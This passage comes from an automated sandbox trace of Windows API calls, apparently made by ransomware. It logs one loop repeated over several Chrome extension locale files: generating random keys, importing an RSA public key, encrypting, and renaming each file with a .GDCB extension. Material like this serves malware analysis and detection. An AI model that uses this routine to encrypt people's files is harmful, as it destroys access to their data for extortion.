dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b0a0) returned 1 [0273.831] CryptGetKeyParam (in: hKey=0x679b0a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.831] CryptEncrypt (in: hKey=0x679b0a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.831] GetLastError () returned 0x0 [0273.831] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.831] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.832] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.835] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.837] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x2c6, lpOverlapped=0x0) returned 1 [0273.847] VirtualAlloc (lpAddress=0x0, dwSize=0x2d0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.852] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\hu\\messages.json.gdcb")) returned 1 [0273.858] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.862] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.864] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.864] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.864] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.864] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.866] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.868] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.868] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.868] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.869] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.871] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679aee0) returned 1 [0273.871] CryptGetKeyParam (in: hKey=0x679aee0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.871] CryptEncrypt (in: hKey=0x679aee0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.871] GetLastError () returned 0x0 [0273.871] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.871] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.873] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679af20) returned 1 [0273.873] CryptGetKeyParam (in: hKey=0x679af20, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.873] CryptEncrypt (in: hKey=0x679af20, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.874] GetLastError () returned 0x0 [0273.874] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.874] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.875] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.878] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.880] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x269, lpOverlapped=0x0) returned 1 [0273.889] VirtualAlloc (lpAddress=0x0, dwSize=0x270, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.896] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\id\\messages.json.gdcb")) returned 1 [0273.904] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.908] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.912] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.912] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.912] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.912] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.916] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.919] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.926] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.926] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.927] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.929] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679af60) returned 1 [0273.929] CryptGetKeyParam (in: hKey=0x679af60, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.929] CryptEncrypt (in: hKey=0x679af60, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.930] GetLastError () returned 0x0 [0273.930] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.930] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0273.932] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b1e0) returned 1 [0273.932] CryptGetKeyParam (in: hKey=0x679b1e0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.932] CryptEncrypt (in: hKey=0x679b1e0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.932] GetLastError () returned 0x0 [0273.932] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.933] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.934] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.937] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.942] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x26e, lpOverlapped=0x0) returned 1 [0273.951] VirtualAlloc (lpAddress=0x0, dwSize=0x270, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0273.958] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\it\\messages.json.gdcb")) returned 1 [0273.964] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0273.968] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.971] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.973] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0273.973] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.973] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4760) returned 1 [0273.977] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0273.979] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0273.979] CryptGenRandom (in: hProv=0x5c4760, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0273.979] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0273.980] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4980) returned 1 [0273.982] CryptImportKey (in: hProv=0x5c4980, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b460) returned 1 [0273.982] CryptGetKeyParam (in: hKey=0x679b460, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.982] CryptEncrypt (in: hKey=0x679b460, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0273.983] GetLastError () returned 0x0 [0273.983] CryptReleaseContext (hProv=0x5c4980, dwFlags=0x0) returned 1 [0273.983] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0273.985] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b560) returned 1 [0273.985] CryptGetKeyParam (in: hKey=0x679b560, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0273.985] CryptEncrypt (in: hKey=0x679b560, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0273.986] GetLastError () returned 0x0 [0273.986] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0273.986] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0273.988] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0273.991] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0273.994] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x30a, lpOverlapped=0x0) returned 1 [0274.002] VirtualAlloc (lpAddress=0x0, dwSize=0x310, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.011] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ja\\messages.json.gdcb")) returned 1 [0274.016] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.020] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.024] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.024] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.024] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.024] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.027] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.029] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.029] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.029] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.029] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4e48) returned 1 [0274.032] CryptImportKey (in: hProv=0x5c4e48, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b520) returned 1 [0274.032] CryptGetKeyParam (in: hKey=0x679b520, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.032] CryptEncrypt (in: hKey=0x679b520, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.032] GetLastError () returned 0x0 [0274.032] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.032] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.034] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b760) returned 1 [0274.034] CryptGetKeyParam (in: hKey=0x679b760, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.034] CryptEncrypt (in: hKey=0x679b760, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0xc8, dwBufLen=0x800 | out: pbData=0xcdd0000*, pdwDataLen=0x285ce98*=0x100) returned 1 [0274.035] GetLastError () returned 0x0 [0274.035] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.035] CreateFileW (lpFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json"), dwDesiredAccess=0xc0000000, dwShareMode=0x1, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x470 [0274.036] VirtualAlloc (lpAddress=0x0, dwSize=0x8, flAllocationType=0x3000, flProtect=0x4) returned 0xcde0000 [0274.039] VirtualAlloc (lpAddress=0x0, dwSize=0x100001, flAllocationType=0x3000, flProtect=0x4) returned 0xcdf0000 [0274.042] ReadFile (in: hFile=0x470, lpBuffer=0xcdf0000, nNumberOfBytesToRead=0x100000, lpNumberOfBytesRead=0x285ced8, lpOverlapped=0x0 | out: lpBuffer=0xcdf0000*, lpNumberOfBytesRead=0x285ced8*=0x29d, lpOverlapped=0x0) returned 1 [0274.053] VirtualAlloc (lpAddress=0x0, dwSize=0x2a0, flAllocationType=0x3000, flProtect=0x4) returned 0xcf00000 [0274.059] MoveFileW (lpExistingFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json"), lpNewFileName="C:\\Documents and Settings\\CIiHmnxMn6Ps\\AppData\\Local\\Application Data\\Application Data\\Application Data\\Application Data\\Application Data\\Google\\Chrome\\User Data\\Default\\Extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json.GDCB" (normalized: "c:\\documents and settings\\ciihmnxmn6ps\\appdata\\local\\application data\\application data\\application data\\application data\\application data\\google\\chrome\\user data\\default\\extensions\\nmmhkkegccagdldgiimedpiccmgmieda\\1.0.0.2_0\\_locales\\ko\\messages.json.gdcb")) returned 1 [0274.066] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.070] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.072] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.072] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x10, pbBuffer=0x285ce7c | out: pbBuffer=0x285ce7c) returned 1 [0274.072] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.072] CryptAcquireContextW (in: phProv=0x285cd2c, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x285cd2c*=0x5c4e48) returned 1 [0274.075] GetModuleHandleA (lpModuleName="Advapi32.dll") returned 0x74c90000 [0274.078] GetProcAddress (hModule=0x74c90000, lpProcName="CryptGenRandom") returned 0x74cb0df0 [0274.078] CryptGenRandom (in: hProv=0x5c4e48, dwLen=0x20, pbBuffer=0x285ce48 | out: pbBuffer=0x285ce48) returned 1 [0274.078] CryptReleaseContext (hProv=0x5c4e48, dwFlags=0x0) returned 1 [0274.078] CryptAcquireContextW (in: phProv=0x285cd1c, szContainer=0x0, szProvider="Microsoft Enhanced Cryptographic Provider v1.0", dwProvType=0x1, dwFlags=0x0 | out: phProv=0x285cd1c*=0x5c4760) returned 1 [0274.081] CryptImportKey (in: hProv=0x5c4760, pbData=0x3d0000, dwDataLen=0x114, hPubKey=0x0, dwFlags=0x0, phKey=0x285cd20 | out: phKey=0x285cd20*=0x679b5a0) returned 1 [0274.081] CryptGetKeyParam (in: hKey=0x679b5a0, dwParam=0x8, pbData=0x285cd0c, pdwDataLen=0x285cd14, dwFlags=0x0 | out: pbData=0x285cd0c*=0x800, pdwDataLen=0x285cd14*=0x4) returned 1 [0274.081] CryptEncrypt (in: hKey=0x679b5a0, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0xc8, dwBufLen=0x800 | out: pbData=0xcdc0000*, pdwDataLen=0x285ce94*=0x100) returned 1 [0274.082] GetLastError () returned 0x0 [0274.082] CryptReleaseContext (hProv=0x5c4760, dwFlags=0x0) returned 1 [0274.082] CryptAcquireContextW (in: phProv=0x285cd1c, 